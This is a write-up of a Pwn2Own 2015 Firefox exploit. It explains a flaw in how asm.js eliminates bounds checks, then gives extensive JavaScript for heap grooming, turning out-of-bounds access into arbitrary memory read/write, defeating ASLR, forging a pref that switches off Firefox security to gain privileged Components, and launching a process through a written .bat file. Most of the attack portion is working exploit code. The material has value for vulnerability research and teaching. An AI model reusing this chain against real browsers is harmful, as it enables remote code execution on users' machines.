

Pwn2Own 2015 Firefox exploit

The bug

Asm.js eliminates bounds checks for heap accesses incorrectly. With heap accesses like `HEAP8[index & 0xffffffff]`, if the mask is less than heap length, then the bounds check may be eliminated. This case is handled by `js/src/asmjs/AsmJSValidate.cpp:4447`:

```
if (mask2 == 0 ||  
CountLeadingZeroes32(f.m().minHeapLength() - 1) <= CountLeadingZeroes32(mask2)) {  
    *needsBoundsCheck = NO_BOUNDS_CHECK;  
}
```

It assumes that `minHeapLength()` returns a power of 2 though, which is not the case for larger heap lengths. Possible lengths are determined by `js/src/asmjs/AsmJSValidate.h:84`:

```
inline uint32_t  
RoundUpToNextValidAsmJSHeapLength(uint32_t length)  
{  
    if (length <= 4 * 1024)  
        return 4 * 1024;  
  
    if (length <= 16 * 1024 * 1024)  
        return mozilla::RoundUpPow2(length);  
  
    MOZ_ASSERT(length <= 0xff000000);  
    return (length + 0x00ffff) & ~0x00ffff;
```

Smallest non-power of 2 is `0x3000000`. So let's say heap length is `0x3000000` and mask is `0x3fffffff`. Then `CountLeadingZeroes32(f.m().minHeapLength() - 1) <= CountLeadingZeroes32(mask2)` check succeeds and bounds check is eliminated. The mask is too large though and allows OOB read/write.

Exploit

The exploit consists of two components. Code in `asmjs/asmjs.js` achieves arbitrary read/write and leaks a pointer to data section. It is wrapped in a `RW` module, which has functions `ReadU32()` and `WriteU32()`. Second part of the code under `libexp/` takes the `RW` module and executes `calc`. This part is pretty much the same as last year.

Arbitrary read/write

The exploit escalates the OOB read / write of `asm.js` heap into arbitrary read / write by taking control over a `Uint32Array`. `Uint32Array` is a nice target because one of its slots is pointer to data. By

overwriting this pointer, arbitrary addresses can be read / written.

Create an asm.js heap of 0x3000000 bytes:

```
this.heap = new ArrayBuffer(this.heap_size);
```

It is mmap'ed by jemalloc without any overhead. Try to groom a Uint32Array after it:

```
for (var i = 0; i < this.megs_after_heap; i += this.megs_per_round) {
    var num_views = this.views_per_meg;
    if (i == 0)
        num_views *= 2;
    for (var j = 0; j < num_views; j++)
        this.views.push(new Uint32Array(this.view_buffer, this.magic_offset,
this.magic_length));
    for (var j = 0; j < this.megs_per_round - 1; j++)
        this.garbage.push(new ArrayBuffer(this.meg));
}
```

The magic_offset is 20 random bits which makes it easy to search for the views from the OOB block. Create the actual asm.js module which can OOB read / write:

```
AsmJsRw.AsmJsModule = function(stdlib, foreign, heap) {
    "use asm";
    var u32 = new stdlib.Uint32Array(heap);
    var value = 0.0;
    function Unused() {
        return u32[0x800000]|0;
    }
    function ReadOobU32(index) {
        index = index|0;
        index = ((index << 2) + 0x3000000)|0;
        value = +(u32[(index & 0x3fffffff) >> 2]|0);
        if (value < 0.0)
            value = +(value + 4294967296.0);
        return +value;
    }
    function WriteOobU32(index, val) {
        index = index|0;
        val = val|0;
        index = ((index << 2) + 0x3000000)|0;
        u32[(index & 0x3fffffff) >> 2] = val|0;
    }
    return {ReadOobU32: ReadOobU32, WriteOobU32: WriteOobU32};
}
```

And instantiate it:

```
this.oob = this.AsmJsModule(self, null, this.heap);
```

So OOB memory block can now be accessed via this.oob. Search for any Uint32Array:

```
for (var i = 0; i < 0x400000; i += 0x40000) {
    for (var j = 0; j < 0x400; j++) {
        var index = i + j;
        if (this.oob.ReadOobU32(index + this.slot_length) == this.magic_length &&
```

```

    this.oob.ReadOobU32(index + this.slot_offset) == this.magic_offset) {
    this.rw_view_offset = index;
    found = true;
}

```

Then determine which one was found:

```

var slot = this.Slot(this.slot_offset);
this.oob.WriteOobU32(slot, this.oob.ReadOobU32(slot) - 1);
var found = false;
for (var i = 0; i < this.views.length; i++) {
    if (this.views[i].byteOffset == this.magic_offset - 1) {
        found = true;
        Log('[+] Identified Uint32Array');
        break;
}

```

The data pointer of found Uint32Array can now be overwritten. Implement ReadU32 ():

```

this.SetAddress(address);
return this.rw_view[0];
}

```

`SetAddress()` overwrites the data pointer:

```

this.WriteAllPointersSlot(this.slot_data, address);
}

```

which does:

```

var offset = this.Slot(slot);
this.oob.WriteOobU32(offset, pointer.Low());
if (Platform.Is64BitBrowser())
    this.oob.WriteOobU32(offset + 1, pointer.High());
}

```

`WriteU32()` is similar. Now to break ASLR. The exploit basically reads `Uint32Array->type->clasp`, which points into `static TypedArrayObject::classes[]`. The `classes` array lies in the data section of `xul.dll`, so the location `xul.dll` is found:

```

var type = this.ReadAllPointersSlot(this.slot_type);
var clasp = VarPointer(type).Read();
Log('[+] Static pointer ' + clasp.Hex());
Mem.InitModule('xul', clasp);
}

```

The RW module is now complete.

Getting Components

Now to escalate arbitrary read / write into privileged javascript. For that the exploit creates the `"security.turn_off_all_security_so_that_viruses_can_take_over_this_computer"` pref entry. With this entry, new iframes will have `netscape.security.PrivilegeManager` attached. With that, the `Components` object can be obtained:

```

netscape.security.PrivilegeManager.enablePrivilege();
}

```

This gives the privileged Components object to the page, which can access the filesystem and launch processes.

Create the pref entry:

```
var key =
'security.turn_off_all_security_so_that_viruses_can_take_over_this_computer';
var hash = 0x3da5e8d3;
var key_string = Mem.AllocateString(key).address;
var hash_table = Mem.GetVar('xul!gHashTable', this.hash_table_type);
var hash_shift = hash_table.hash_shift.Read();
var entry_index = U32Shr(hash, hash_shift);
var entry = hash_table.entry_store.DerefAt(entry_index);
entry.key_hash.Write(hash);
entry.key.Write(key_string);
entry.user_pref.Write(1);
entry.flags.Write(0x0082);
return entry;
```

So it calculates the entry_index and fills out key_hash, key, user_pref and flags of the entry.

Executing calc

Use the privileged Components to execute calc:

```
var script = this.BuildShellScript(command);
var file = this.CreateClass('file/local', 'nsIFile');
var stream = this.CreateClass('network/file-output-stream',
'nsIFileOutputStream');
var process = this.CreateClass('process/util', 'nsIProcess');
file.initWithPath(this.GetShellScriptPath());
stream.init(file, this.Wronly | this.CreateFile | this.Truncate, 0755, 0);
stream.write(script, script.length);
stream.close();
process.init(file);
process.run(true, [], 0);
file.remove(false);
LogOk('Executed ' + command);
```

Here, command == 'start calc' and GetShellScriptPath() creates a temporary path for a .bat file. So it creates a .bat file, writes 'start calc' inside and launches it.